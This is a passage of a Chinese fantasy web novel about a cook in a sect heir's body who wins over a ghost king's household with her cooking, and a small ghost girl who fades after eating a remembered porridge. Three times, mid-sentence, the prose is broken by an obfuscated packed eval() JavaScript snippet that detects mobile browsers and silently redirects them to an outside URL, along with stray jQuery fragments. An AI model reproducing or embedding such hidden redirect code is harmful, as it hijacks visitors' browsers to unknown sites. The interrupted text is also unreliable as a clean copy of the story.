月情微笑着,微笑着,低咳一声,又道:“其实,我只是想向大王证明我的诚意。我是一个有职业道德感的厨子,既然答应了要给大王做饭,就必须要兑现承诺,否则我寝食难安,心力交瘁,痛苦悔恨余生……”
连绝看过来,她倔强地支撑着自己可怜的自尊心,一边强颜欢笑一边懊恼自责。
有柔软的槐树花瓣从她头上落下来,像新雪般簇在她身上,传来清淡的花香,待风起,又轻轻地打个璇儿,飘落在地上。
月情的发丝也微微飘动,泛着湿意的眼睛愈发地显黑,看过去便十分地无辜与脆弱,令人无法不相信她说的每一个字。
连绝总感觉这一幕有些眼熟。
月情安安静静地看着他,摇摇欲坠,他抿了抿唇,态度到底是软化了,轻声说:“那你晚点送过来。”
他话音还未落,少女立即扬起笑容,不给他反悔的机会,“我这就去。”
连绝:“……”
**
回到梨花苑,月情放水洗干净鱼,一边哼小曲儿,一边将龙鱼的坚硬鳞片去除。
那些鳞片放进盆中洗干净,在阳光的折射下竟然是七彩的,像透明的水晶,形状也十分好看,她微微唔了一声,莞尔一笑,把鳞片擦干净收起来。
一边的少宗主坐在门槛上,不解道:“你收集它做什么,一点用处也没有。”
月情一边剔骨一边与她道:“少宗主,我打听到鬼魂的强度取决于生前的修为,除此之外,执念的深浅也能影响鬼魂能否留存于世。”
少宗主愣了一下,“你的意思是……”
月情看向她,“所以你为何只是一个弱小到不行的残魂?”
少宗主呆住,一噎,而后起身叫道:“我…我我……我又没研究过,我怎么知道。”
她平生只努力专研怎么变成强大的修士,谁能想到有一天居然要研究怎么变成强大的鬼。
月情分析道:“以你的天赋不可能死后只是残魂,而你对连绝执念如此之深,按理而言,你最少最少也能像四大护法一样强势,可你似乎弱到除了我之外,无人能察觉。”
“……”
字字暴击。少宗主要吐血了。
虽然月情说得是事实。好半晌,少宗主才挣扎着道:“这兴许只是暂时的,让我琢磨一下鬼怎么修炼。”
说完,她又振声道:“等着,我月晚就算是做鬼,也一定是最强的那一个,连绝算什么,我早晚超过他。”
月情听到她这么说,不由失笑。
她道:“你高兴就好。”
少宗主见她态度轻浮,分明是瞧不起她的样子,不服气道:“你不信?”
“我信我信,”月情弯着唇同她拌嘴,吵吵闹闹间,手下已干净利落地将鱼骨剔除干净。
她在锅中放入猪油煎鱼,这样煎过的鱼熬出来的汤更鲜更香,而这龙鱼本来就鲜美无腥味,只需要稍稍放入调料调味,香气就盈满了半个山头。
月情又麻利地煎了两个金黄色的蛋,下了把面条,再撒下一把葱段,奶白的汤点上新鲜的翠绿色,引人食指大动。
一口下去,鱼汤鲜香而不腻,面条软滑又弹牙,而煎蛋散发着焦香尝来却十分嫩,简简单单一碗面,却是色香味俱全。
她勾唇一笑,眼睛发亮,不信这还拿不下连绝。
今日天气很好,月情提着食盒再度走到那条小径,心境已然不同。
她轻轻地哼着歌,只觉得阳光明媚,万里无云,天气晴好,整个世界光明灿烂。
月情自信满满,走至槐花树下,打眼一瞧,发现连绝正在做箭矢。
他神色专注,仔细地打磨好羽梗,打量着羽毛的长度。
月情想起他上次在湖中亭擦着一把弓,想了想,将食盒放到一边的石桌上,问:“大王是在为秋猎而准备吗?”
“嗯,”连绝低低应了声,侧目看向她,瞧见她带来的食盒,道:“辛苦了。”
“不辛苦,都是我的拿手活,”月情轻笑着,将汤和面摆下,道:“大王,这些羽箭怎么做?”
她笑着说起前因,“风宁护法将陪大王秋猎的名额送给我了,所以,我也想自己准备一些。”
“送给你……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950854|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
连绝抿了下唇,若有所思,而后道:“你会射箭?”
月情道:“我以前是开酒楼的,招了个武功不错的伙计,他就会骑马射箭,闲来时,我就仗着掌柜的身份,让他教了我两招。”
她向他眨眼,抬起手比划了一下,道:“我学得还不错呢。”
连绝看着她的起手式,莫名地有几分眼熟,微微一怔,不自觉地便微微笑了笑,与她道:“羽箭我这里有许多,你想要就问我拿。”
月情顿在原地,愣愣地看着他。
盛大的阳光从槐树上斜斜撒落下来,在那张年轻俊美的脸上勾勒出一道浅浅的金光,而平日里总灰暗的眼睛,今日却染上三分笑意,就像至暗之夜忽而出现的点点星子,如此地引人瞩目。
她不自觉地放轻了声音,弯着笑眼,“大王,你笑了。”
连绝微微顿住,看着她,月情瞧他的眼神之珍重,就如瞧着世间稀世之宝,他微微蹙眉,压下心中异样的情绪,困惑地回,“我平日里也常笑,并不稀奇。”
?
他平日里也常笑?
什么时候,她怎么不知道?
月情睁大了双眼,看着他,深切道:“如果大王你这样也叫常笑,那天下就没有不爱笑的人。”
连绝:“……”
他黑白分明的眼睛看着她,没有说话,但显而是让她给自己留点面子。
月情看着他,忍不住莞尔。
她看着他这般正经的模样,心思活络,稍顿了顿,压低声音,怪声怪气地在他旁边学道:“我平日里也常笑,并不稀奇,”说完后,月情又指向连绝没有起伏的唇角,用气音小声说,“可是大王,你现在就没有笑。”
她一瞬不瞬地看着他,见他看过来,又眨了眨,而笑意从里溢出来,长长的眼睫毛像两把小刷子,浅浅地弯曲出一个好看的弧度。
里面藏着几分狡黠,与几分期待。
连绝想起那天夜里,在湖心亭之时,她就是这样,笑眼弯弯地逗他,今日亦是。
但莫名地,明明是被逗弄,他却没有半分厌烦,而是情绪舒缓,心情宁静。
大概是因为,今日是个极好的天气,万里无云,只有风的喧嚣声。
而这般慵懒的光景中,连绝听见了游鱼吐泡泡的噗噗声,听见了风吹过树枝的簌簌响声,听见了她清浅的呼吸声。
一切都恰到好处。
这样好的天气,这样鲜活的一幕——他的确不该孤坐在此。
渐渐地,在月情的注视下,他终于舒展开眉眼,而笑意缓缓在眼底漾开,就如清风拂过水面、阳光透过云层、四季更迭冷暖般自然与寻常。
她微微发怔,一瞬不瞬地看着他。
一秒、两秒,不知几时。
连绝终于觉察出不对劲。她的眼睛里溢着开心,但他隐隐感觉到,她眼中倒映的人不是他,或者说,她在透过自己看另外一个人。
……
月情很快回过神,由衷地点了下头,他还是笑起来时的模样最好看。
她满意了,将冒着热气的面推过来,颇有成就感地道:“大王,快尝尝我的手艺。”
连绝微微抿唇,慢慢地直起了身子,语气很低很沉,面无表情道:“不尝。”
月情:“???”
16. 倾仙月(十六)
月情茫然而无辜,压根不知道怎么得罪了他,不由地谴责,男人的喜怒,当真无常。
正在一人一鬼僵持之时,假山后面突然传出一道急促的声音。
一个黑影飞速地蹿进来,身后的斗篷被风鼓起,像一只巨大的蝙蝠。
他闪身进来,义正言辞道:“大王,那少宗主不是好人啊,为了守护见云山的和平,我提议把她赶——”
声音戛然而止。
月情回过头看他,蜻蜓瞪大了双眼,定在原地,俩人面面相觑。
“………”
场面一度很尴尬。
话说一刻钟前。
蜻蜓收到了连绝传来的音讯,令他前来府邸。
顶着下午的大太阳,他懒洋洋地走过来,路上,他却看到枯树边有个孤独寂寥的身影。
那个身影高大、厚重、更像石头一样沉闷。
令人想忽视也忽视不了。
蜻蜓本着同僚相互照顾的心思,上前招呼道:“重影,你这是怎么了?”
重影看了他一眼,十分郁闷,百分郁闷,千分郁闷。他一直觉得自己是连绝最忠诚的手下,义勇双全,可是经过昨天一天他才发现他居然和他一直鄙视的少宗主一样“下作”。
“蜻蜓,少宗主说得对,我就是个无赖……”他说着难过不已,狠狠批判自己道:“我简直不是人。”
蜻蜓一针见血,“醒醒,你的确不是人,你是鬼。”
“……”
重影面无表情地看向他。
蜻蜓摸了下鼻子,轻咳两声,收住笑意,正经道:“少宗主说的话怎么能信?”
他煞有介事道:“你想想,风宁是因为被炉子炸伤了脑子才变成如今这幅疯疯癫癫的模样,可那少宗主竟然能同他处得好,这说明什么?”
重影愣了下,问道:“这说明什么?”
蜻蜓道:“这说明她要么脑子先天有病,要么后天变异。”
他痛心疾首,“这样的人,必须要敬而远之,你倒好,还往跟前凑。”
被他狠狠数落一通,重影更郁闷了,呜呜地靠过来抓他的袍子擦眼泪,蜻蜓连忙推开他的头,挽救下自己的袍子,而后摇头批判,“男子汉大丈夫,哭哭啼啼像什么话。”
重影一边抹眼泪,一边问:“那你说怎么办?”
蜻蜓道:“自然是让大王将她给赶走,你同我一道去劝。她一个新来的,大王肯定站在我们这边。”
重影却不肯,任他怎么说,都是一副道心破碎的模样,哽咽道:“我无颜面对大王。”
蜻蜓:“………”
“算了,”他重重地叹了声气,忽而又振声道:“你不去,我去。身为见云山的一份子,你的好兄弟,为了守护见云山的祥和宁静,为了保护大家不被欺负,我必须挺身而出,直言以谏,让大王将少宗主那个心机深沉的妖孽赶出去。”
重影泪眼朦胧地看向他,阳光下,蜻蜓的身影愈发高大,隐隐散发着一层视死如归的光芒,他惊讶地睁大了双眼。
蜻蜓深沉地看着他,斗篷一展,是风萧萧兮易水寒的悲壮,只留下六个情深义重的字。
——“等我凯旋而归。”
……
……
……
啪——
蜻蜓听到了打脸的声响。
这世界上还有比背后说人坏话被撞见更尴尬更羞愤更难捱的事吗?!
没有!
他已经有投湖的冲动。
比起他的尴尬,月情表现得就十分平静自然,甚至有些习以为常。
在这鬼窝里,少宗主名门正派的身份就是众矢之的,被所有鬼警惕且排斥,她已然习惯。
其中,重影与蜻蜓的反应最大。
为了少生事端,月情捏住柔软的槐花,轻轻地摩挲了一下,随之低下眉,又缓缓抬起了眼,看着蜻蜓,眼中已然是一片难色,“大王已经认可我了,蜻蜓护法却不肯同意吗?”
蜻蜓:“!”
虽然只有短短几个字,杀伤力却堪比天降伏魔掌。
他僵在原地,汗流浃背。
救命,这少宗主法力之高强,已经不用出剑就可以让他跪地求饶。
想到坐在小路边孤独的重影,他悲伤不已,兄弟,我帮不了你了。
这少宗主,简直恐怖如斯!
蜻蜓干笑道:“怎…怎么可能,我肯定唯大王马首是瞻,我怎么会不同意呢,呵呵,没什么事的话我就先撤了……”
他转身就要溜,却听连绝在身后道:“等等。”
蜻蜓脚一崴,差点跪倒在原地。
连绝轻声道:“她并非是少宗主,你们无须警惕介怀。”
蜻蜓不由啊了一声,一脸懵逼。
“我叫月情,一个酒楼小掌柜,”月情顺势道,“是无意中魂魄飘到了少宗主体内。”
蜻蜓吃惊不已,嗫嚅着道:“原来如此…我说那少宗主怎么可能…”可能会和大王相处甚好,原来根本不是一个人。
不过比起之前那个传闻里冷淡高傲又凶巴巴的少宗主,眼前这个笑眯眯温柔寻常的女子却让他更加胆颤。
光是方才那句反问就让他丢盔弃甲,此时此刻,蜻蜓才隐隐与重影感同身受——兄弟,这不怪你,真的!
连绝道:“从今往后,月情便是见云山的人,是为一体,不分彼此。”
蜻蜓连忙点头应了声。
月情主动和他打了个招呼。
蜻蜓面色僵硬,想到自己刚才是打算怎么背后捅刀的,顿时尴尬不已。
他摸后脑勺,想溜,“大…大王,没什么事的话,我先走了,嘿嘿。”
连绝示意他坐过来,平淡道:“吃吧。”
蜻蜓看着石桌上的点心与那一碗热气腾腾的面,隐隐觉察到身侧有寒气,他咽了下口水,哂笑道:“我…我不饿。”
连绝面无表情地盯向他。
蜻蜓:“……”
他欲哭无泪,为什么每次夹在中间受伤的都是他?
月情同样不好受,她看着无动于衷的连绝,微微窒息。
她那个一顿三桶饭的连绝呢,汤底都喝干净的连绝呢,从不剩饭的连绝呢,只要是她做的菜就猛夸的连绝呢?
月情在心中叫道,你根本不是他,你把他还回来!
只有厨子自己知道,失去一名忠实的顾客会多么地心痛。
这和变心没有任何区别!
她要破防了。
月情努力微笑,努力镇静,“这是我去云廷城里挑来的新鲜龙鱼,用了上好的香料才吊出来的鱼汤,不仅闻着香,味道也十分不错,蜻蜓护法快尝一尝。”
蜻蜓听到她这么说,只觉得异常毛骨悚然。
不过那碗鲜鱼面看起来真的好好吃。
月情的刀工也是极好,一片片晶莹剔透的鱼肉切的恰到好处,嫩滑的鱼肉衬着金黄的煎蛋,阵阵泛香,极具诱惑力,令人口舌生津。
他咽了咽口水,挣扎一瞬,实在抵抗不住,道:“多谢月师傅。”
月情示意他快吃,余光却偷偷地去看连绝。
她不信他毫无反应。
后者微微阖眼,半支着头,一缕发丝落在耳前,心不在焉地对着眼前池塘的风景,眼中无神,心中无念,已经开始发呆。
月情:“……”
她的心碎了一地,再也好不了了!
半个时辰后。
吃饱喝足的蜻蜓慢悠悠地推门而出。
他还在回味那碗鲜鱼面,神色餍足,冷不丁地,一道轻柔的声音从一边传来,他转头去瞧,只见扭曲迷离的日光下显出个纤细的身影。
正是早已经等候多时的月情。
她歪头微笑道:“蜻蜓护法。”
蜻蜓看她还有几分尴尬,“啊…少…不是,呃,月,月……”
“叫我月师傅就好,”月情温声说着。
蜻蜓咽了下口水,诶了声。
她看着他,笑容温和可亲,步步靠近过来,他却只感觉寒意重重,不自觉地往后退去。
“蜻蜓护法,”月情站定在原地,想了半晌,犹豫了半晌,最后下定决心一般抬眉看他,难言道:“我本只是个寻常女子,对修仙问道一事闻所未闻,如今莫名来到修仙界,是万分的惶恐不安,幸得大王庇佑,才能苟活于世。”
她道:“大王于我而言恩重如山
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950855|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,哪怕举世之珍宝来报答都不足为过,只可惜我没什么值钱的宝物,也身无长技,于是便想做一道拿手菜以表感谢,却不知是不是手艺太差,大王连看都不看一眼……”
蜻蜓想到刚才那碗鲜鱼面,口舌仍旧免不了生津,听她这么说,不由痛心疾首,“如果你也叫手艺差,那天下就没有手艺好的厨子。”
月情闻言感激地看了他一眼,但很快,那双若水琉璃般的眼眸又暗淡下来,想到连绝的态度,低落地耷拉着,隐隐里,还能看见水光。
蜻蜓见她这样,顿时手足无措。
没想到她丝毫不见怪他之前的偏见与得罪,反而与他推心置腹,蜻蜓一时心绪复杂,心里更是愧疚。
“大王并非是不喜你的手艺,而是恐惧食物。”
月情停在原地,思绪宛若被强劲的韧丝缠住不得动弹。
连绝,恐惧食物?
这几个字她都认识,怎么合在一起就听不懂了呢?
“此事说来话长。”蜻蜓表情复杂,似乎想起了什么恐怖惊悚的回忆,他转头指向身后,眼神讳莫如深道:“你见这座庄园可有什么玄妙之处?”
若说非要有什么玄妙之处,那大概只有与见云山的格格不入了。
“没错,它的确不是见云山上的东西,而是一处活着的庄园。”
月情语调上扬,“……活着的?”
蜻蜓点了点头,一脸慎重,“这座庄园它看起来是死物,其实是活的。这其中不论是用的、看的还是玩的,所有物件与植物全由它掌控,甚至,它还会做饭。”
月情:“?”
“不可置信,但却是真的,不过它做的东西……实在一言难尽,”蜻蜓从脑海深处回想到了那个味道,他有点儿控制不住自己的反应,忍不住呕了一声,颤颤,“我当时只尝了一口,差点魂飞魄散。”
他心肝发抖,脸色更惨白了一分,“别说我了,就连大王这般的厉鬼尝了一口后都黯然失色,定在原地一天一夜,面无表情地留下了一串晶莹泪珠。”
他张开手,摆动着,宛如世界末日,“你能想象吗?一碗黑漆漆的不知名物,能让堂堂鬼王几十年都讳莫如深。”
蜻蜓深沉道:“修仙盟一定想不到,他们绞尽脑汁,穷其一生都解决不掉的鬼王,其实只需要小小一碗黑色不知名物就能轻松打败。”
月情叹为观止,能把连绝难吃到哭,那的确是难吃到了一种境界。
可怕,实在是太可怕了。
她忍不住好奇,“你竟然没有恐惧食物?”
蜻蜓僵硬了一瞬,咳嗽道:“虽然我道行比大王浅,但是以往吃的东西不同,接受能力自然也不同。”
就比如一个常常捡垃圾吃糠扒土的和一个金枝玉叶享琼浆美酒的,虽然吃的是一样恶心难吃的玩意,但捡垃圾的肯定更能忍受。
他抓了抓后脑勺,有些难堪。
月情顿了下,道:“还好你不恐惧食物,不然我的一番心意就要浪费了。”
蜻蜓怔然一瞬,转头迎向她的笑脸。
他张了张嘴,心中升起一丝异样的情绪,缓缓之后,他局促道:“月师傅,之前那个,我不是存心的。”
虽然他没有说清楚,但月情已经明白了他是在说方才背后打小报告一事。
她根本不放在心上,展颜一笑,“我们以后不是一座山头的人吗?这只是个无关紧要的小摩擦。蜻蜓护法,往后还请你常来梨花苑,我请你吃好吃的。”
蜻蜓哑然,好半晌后才说了句谢谢,他微微而笑,认真道:“麻烦月师傅了。”
月情微笑,“不麻烦,不麻烦。”
一人一鬼相视而笑,气氛其乐融融,慢慢向着尽头处走去,这时,他们听到了微弱的声音。
月情率先看到重影,拱手笑道:“师兄。”
重影:“……”
他看向蜻蜓,看着他俩和睦不已的氛围,语调拉长,不无讽刺之意,“等-我-凯-旋-而-归?”
蜻蜓:“……”
他恼羞成怒,又皮笑肉不笑地讽刺回去,“师-兄?”
两鬼深深地唾弃着对方,眼中是浓浓的鄙视。
呵,叛徒!
17. 青云念(一)
自从那天之后,月情就和蜻蜓渐渐熟络起来。
她这才知道见云山的诸多小鬼都是蜻蜓在管。
如今他与月情混熟了,晓得她做饭的手艺一绝,就招呼小鬼们一道过来蹭饭,短短几天里,梨花苑就成了见云山最热闹的地界。
这天,蜻蜓背着一个大包袱放在桌上,发出叮里啷当的声响,“月师傅,你们修士应当要这玩意吧。”
月情打开一看,竟是光华璀璨的上品灵石,她愕然,记得这东西价值千金万两,不由疑惑,“见云山是靠什么营收的?”
见云山乃是一座荒山,这是大家伙众所周知的。而她来了这么多天,也没看见哪里有能赚钱的地方,反而花钱的地方不少,譬如秋苑那一堆金银珠宝,还有连绝的庄园。
蜻蜓道:“靠风宁卖手艺。”
月情:“?”
她想到风宁那个疯疯癫癫的模样,睁大双眼。
蜻蜓早有所料,毕竟风宁看起来确实不大靠谱,但作为好兄弟,他还是得为他正正名声,于是苦口婆心道:“你别看风宁现在这副模样,但他生前是个修道天才,精通机关人的制造,这一个就能卖不少钱,而随手编写的剑谱与画的符文在修仙界也有人追捧。光是他一个就够养活我们一群鬼了。”
月情惊叹,“这么厉害?”
蜻蜓嘿嘿笑了笑,“是啊,是啊。”
月情侧目过来,“其他我知道一些,而这个机关人是做什么用的?”
“咱们大殿外面站岗的青面小鬼就是机关人,”蜻蜓向她解释道,“因为外界妖魔鬼怪横行,但天生能成修士的少之又少,而风宁做得机关人修为不俗,耐用又实用,在市面上还是很有口碑的,一些小宗门都会前来采购。”
“妖魔鬼怪横行……”月情若有所思,“如此说来,见云山的鬼魂只是偌大修仙界其中的一部分?”
蜻蜓嗯了一声,道:“稍微厉害一点的亡魂都会很快清醒,而这群鬼多半都在外自立山头不会往见云山来。”
依他之言,除了连绝与四大护法,见云山其余小鬼全都是战五渣。
难怪他们看见月情就远远躲开。
不过最近跟着蜻蜓混,依着他在小鬼中间的声望,月情也渐渐被他们接纳,甚至不少小鬼还主动同她打招呼,常常来梨花苑蹭饭。
今天晚上也是,一群鬼早早就宰羊杀鸡,备了美酒,围在梨花苑里载歌载舞,那叫一个热闹。
蜻蜓再次眼泪汪汪地夸她,“月师傅,你简直是食神下凡,太好吃了。”
他身后那群小鬼们也纷纷点头,叠声说着:“好吃!”
月情闻言一笑。
身为一个喜爱美食的掌勺厨师,顾客的肯定,就是她的动力。
蜻蜓忙中抬头,“我听风宁说他把陪大王秋猎的名额送给了你。”
“嗯,是啊。”月情点了点头。
连绝秋猎的时间每年都不定,但说不准今年会去个十天半月的,时间一长,他岂不是很久都吃不到月情做得饭了?
虽然陪大王秋猎真的很无聊——但,人生在世,吃饭最大。
蜻蜓忍了忍,最后下定决心,沉声道:“我也要去。”
月情:“好……啊?”
蜻蜓想了想,忽而福至心灵,眼睛一亮,招呼他身后的小鬼们,“大家一起去怎么样?”
小鬼们呆了呆,而后齐齐欢呼,高兴道:“好!”
月情:?
等等,怎么鬼越来越多?
她低咳了一声,有理有据丝毫看不出私心,“这么多鬼一起去,阵仗太大了,恐怕被修仙界盯住群起而攻之。”
蜻蜓道:“有大王在,没人能伤得了我们。这件事就这么说定了,”他鼓舞起小鬼们,“你们也下去准备准备,我这就去找大王,和他请示一声。”
他风风火火地走了,小鬼们也兴高采烈地开始讨论秋猎的事。
一旁的少宗主满脑门问号,感觉到十分地不对劲。
好半晌,她才想明白,疑惑地问:“你是不是搞错对象了?不是说好要用美食去抓鬼王的心吗,你怎么去抓那个蜻蜓的心了?”
月情:“………”
问得很好,下次别问了。
**
清晨薄雾时分,梨花苑门外突然传来了敲门声。
月情点起一盏小灯,在幽幽的灯光中,看清门外站着的小姑娘,她怯怯地看着她,小声唤道:“月师傅。”
是个微弱的鬼魂。
这个时间,以他们昼伏夜出的习惯,该准备休息了,她怎么会找到这里?
月情不由问道:“怎么了?晚上的羊腿没吃饱?”
小姑娘愣了一下,而后摇了摇头,看着她,含着水雾一样的眼睛紧张地眨了眨,犹豫片刻后道:“月师傅,你可不可以…帮我做一道菜?”
“好啊,”月情微微笑了笑,让她进来,“你想吃什么?”
意外于她这样的好说话,小姑娘鼓起了些勇气,耳根微微泛红,“是…是一碗野菜粥。”
“野菜粥……”月情喃喃念了念。
小姑娘知道这菜上不得台面,谁会在意一碗野菜粥呢,她紧张地搓了搓衣服,道:“我…我生前的时候,我娘就经常给我做野菜粥吃,我就是想,再……再尝尝那味道。”
月情笑道:“这样啊,那你娘的手艺一定很好,让你一直到现在都念念不忘。”
小姑娘愣了一下,呆呆地看着她。
月情将灯笼挂到了墙上,让她坐着等一会儿,温声询问她道:“你还记得是什么样子的野菜吗?”
“记得的,”小姑娘的脸涨红了,连忙点了点头,手忙脚乱地给她比划着。
月情含眉认真去听,随之了然道:“我知道了,你等一等。”
她进去厨房开火熬粥,这时候,少宗主从里屋飘出来,看着那小姑娘清瘦的身影,忍不住酸道:“为什么她都能有形有质,而我只是个弱小的残魂?”
这段时间,少宗主一直在默默修炼中,但毫无用处。
想她为人时,天才中的天才,修仙界少年弟子中的第一,变成鬼之后,居然是战五渣中的渣渣。
这个消息对于少宗主而言简直是晴天霹雳,比将她挫骨扬灰还痛苦。
月情这几天在蜻蜓那儿也打探了不少消息,有些话想说,张张唇又有些犹豫。
这话可能不太好听。
半晌,她还是开口道:“倘若你修炼的是一套错误的心法,真的被人动了手脚,那——对方不仅仅是要将你置于死地。”
少宗主偏头。
“他是要将你,”月情缓缓道,“神魂俱灭。”
所以,她才会只剩一缕残魂。
听此,少宗主一呆,睁大了双眼,迟迟没说话。
一阵冷风吹过来,墙上挂着的壁灯明明灭灭,她拧紧了眉,心思沉重。
中元节那天夜晚发生的事情太多了,倘若月情没有突然出现,她这一缕残魂恐怕早已经消失无踪……
真的…是人为吗?
少宗主心脏一阵压抑,她抿紧唇,随之缩起身子坐到了门槛上。
一句话不再说。
“如果真有这么一个人,我会找到他,替你报仇。”
沉默突然被打破,少宗主怔住,抬起眼,那道熟悉至极冰冷至极的身影,此刻正端着碗热气腾腾的粥,在暖黄的壁灯之下,显露出一点温暖的神色。
她的心微微一动,半晌,她闷闷地嗯了一声。
月情双手捧着滚烫的粥碗,从厨房里面端出来,小姑娘连忙起身相迎。
她微笑道:“尝一下,看看是不是那个味道?”
小姑娘连忙嗯了一声,低着头喝了一口,却是顿了顿,小声说:“不辣。”
月情微微讶异,“你们喝粥喜欢放辣椒?”
小姑娘说着,小声地吸了吸气,看着她,“我家经常下雨,每到这个时候就感觉骨头痛,我和我娘都是,她就会熬这个粥,很辣很辣,辣得眼泪鼻涕四处流,但是这样,骨头就不疼了。”
月情看见她眼中泛着水光,忍着心酸委屈的模样,不由动容,心尖也泛着苦酸味,这就让她稍等,回头又放了不少辣椒。
这次,小姑娘点了点头,瘦弱的脸上微微发着红晕,眼睛里透出些许光亮,捧着粥碗,连连对她道谢,“谢谢月师傅。”
月情笑着坐在她面前,看着她乖巧的模样,忍不住摸了摸她的头,微笑道:“不用谢,你下次还想吃就来梨……”
她的话戛然而止,手下一空。
砰——
是粥碗砸落在地的声音。
坐在门槛上的少宗主吓得一激灵,连忙爬起来,大声叫道:“怎么了?!”
她定睛一看,东方已显现出一抹鱼肚白,但夜色还未完全褪去,月情就坐在院中的石凳上,沐浴在黑暗里,而抬起的手落在了空中,眼睛定定地看着对面,却是空空如也。
只有一只被摔碎的碗与滑稽四溢的野菜粥米,还有空气中无处不在的辛辣气味。
而那个弱小的,瑟瑟的,被她心酸嫉妒的小鬼魂却不知去了哪里。
“她去哪儿了?”
月情恍惚了一下,手指尖冰冷的触觉还未消散,她定定地看着前方,可方才还在的小姑娘却突然之间就消失了。
她感到茫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950856|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然,怔愣在原地,“消失了……”
一人一残魂都未反应过来,半晌,月情无措地看向少宗主,脸色苍白地求问,“…是不是我伤到她了?”
“不是。”身后忽而传来声音。
她回转过头,连绝不知何时出现在了院子中,迎着晨光,静静地伫立在那。
他轻声说:“不要放在心上,她只是了却执念后消散了。”
月情动了一下,从他这句话里捕捉到字眼,而黑白分明的眼睛里藏着不可言说的伤感,半晌,她动了动唇,不知该以何种心情来面对,“我还不知道她的名字……”
“小青。”
月情抬起眼睛看向他,连绝仍旧是那副寡淡的模样,就连语气都没有半分的起伏,只是这样关注着她,眼眸轻轻地转动,与她对视,随之,又轻而淡地重复了一遍,“她叫小青。”
日光愈发地盛,院中却死寂一般的冰冷。
她蜷了蜷手指,慢慢地,无声地,点了下头。
长久地、沉默地静立。
……
连绝幽深的眼眸在她身上落了一圈,忽而问:“伤养好了吗?”
月情站立在那里,一动不动,闻之,轻轻地抿了抿唇角,摇了摇头。
半个月时间还没到,她一直谨遵医嘱,没有修炼也没有动用过灵力。
连绝低低地嗯了一声,再抬起手时多了一件厚重的大氅,领边滚了一圈毛茸茸的毛,看着暖和不已。
他伸长了手,递到她面前,示意她披上。
月情不解地看着他,但还是慢慢地披上了大氅,少顷,连绝又递给了她一只雪白的帽子,帽子很大,几乎遮住了她的眼睛。
月情被笼罩在其中,视线被大半遮挡,不由茫然地望着他。
连绝的神色很认真,他抬起了手掌,明晰的手腕骨上多了一条细细的银链,落下来,无声无息地圈到了她苍白的手腕上。
他说,“跟我来。”
她握住了银链,听到了风雪的飒飒声,再抬目,已经到了云廷城外连绵不绝的山脉上。
连绝就在她身前,遮挡住吹拂来的无尽风雪,发丝、斗篷猎猎作响,他的声音也被大风大雪吹落,但随着他靠近,又无比精准地落入她的耳中。
“带你去安葬小青。”
月情一怔,一股难以言说的情绪从心底涌了上来。
他牵着她,走进了雪山深处。
这里只有他们两个,与飒飒沓沓的落雪。
她安静地跟着他。
徐徐,连绝停下脚步,月情落在他身后,展望着眼前的一幕,眼神凝滞。
身前,是一棵巨大的冰树,它破开了雪山,从冻土里生长而出,晶莹剔透的枝叶层层盖盖,落满了厚重的雪。
而每一片雪后,藏着无数只小鸟,它们紧紧地挨着,就像一个偌大的家族,不分彼此。
她扬起头,看清这些鸟儿都是木头雕刻的,每一个都不一样,每一个都是由人亲手雕刻而成。
无一不是乌雀鸟。
月情看向连绝,他也转目过来,落雪已徐徐地撒落在他身上,而他的睫羽已然凝冰,轻微地眨眼,湿漉漉的水汽往上泛,在这的衬托下,他黯淡的双目都变得柔情似水。
片刻,他从袖子里托出一只很小的乌雀鸟到她跟前,两只贴合的翅膀,尾羽处皆染了淡淡的青色。
“是小青鸟,”他十分轻柔地摩挲了一下,抬起眉眼,“月情,她很感谢你。”
月情吸了下鼻子,低着头,小青鸟又小又瘦,怯怯地低着头,站在连绝的掌心之中,几乎占不满整个地方。
她以为自己会感到难过,心酸与痛苦,但这一瞬间,听到连绝的话,她忽而就释然了。
大风大雪之中,这唯一一抹青色,如此地出挑。
“去见你娘吧,”月情微微一笑,抬起手,轻抚她的头,“她的手艺比我好,记得多吃一些,替我也尝尝味道。”
小青鸟仍旧低着头,一动不动,可是又好像答应了她,羞怯地在点头。
连绝托起掌心,小青鸟飞到大树之上,渐渐与其余的乌雀鸟融为一体,直至再也看不清她的模样。
不知多久,月情才收回了目光,轻轻地拽了拽那条银链。
她看着他,顿了顿,道:“我在冰树上看见了一只很神气的鸟。”
连绝停在原地。
月情望向连绵不绝的雪山,一片纯白的世界,干净得没有任何尘埃。
她说,“就像少宗主一样神气。”
“……”
这一瞬间,飒飒的风雪声贯穿于天地之间,一人一鬼静立其中,没有一个人再开口说话。
18. 青云念(二)
那双沉静的眼一直看着他,连绝忍不住眨了下眼睛,雪落下来,他低声道:“是她。”
